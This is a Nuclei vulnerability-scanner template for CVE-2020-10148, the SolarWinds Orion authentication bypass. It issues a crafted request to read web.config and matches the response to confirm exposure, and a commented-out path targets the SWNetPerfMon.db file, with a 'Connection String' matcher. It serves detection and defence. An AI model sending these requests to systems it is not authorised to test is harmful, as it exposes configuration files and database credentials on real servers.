nuclei-templates/cves/2020/CVE-2020-10148.yaml

39 lines
1.2 KiB
YAML

id: CVE-2020-10148
info:
name: SolarWinds Orion API Auth Bypass Leads to RCE (SUPERNOVA)
author: dwisiswant0
severity: high
description: |
This template could allow to bypass authentication and execute API
commands which may result in a compromise of the SolarWinds instance.
reference: https://kb.cert.org/vuls/id/843464
tags: cve,cve2020,solarwinds,rce
# References:
# - https://github.com/jaeles-project/jaeles-signatures/blob/master/cves/solarwinds-lfi-cve-2020-10148.yaml
# - https://gist.github.com/0xsha/75616ef6f24067c4fb5b320c5dfa4965
# - https://twitter.com/0xsha/status/1343800953946787847
requests:
- method: GET
path:
- "{{BaseURL}}/web.config.i18n.ashx?l=nuclei&v=nuclei"
# - "{{BaseURL}}/SWNetPerfMon.db.i18n.ashx?l=nuclei&v=nuclei"
# Above path can be used if you are looking to scan for "SWNetPerfMon.db" file.
matchers-condition: and
matchers:
- type: word
words:
- "SolarWinds.Orion.Core."
# - "Connection String" # Commented matchers can be used for "SWNetPerfMon.db" file.
part: body
- type: word
words:
- "text/plain"
part: header
- type: status
status:
- 200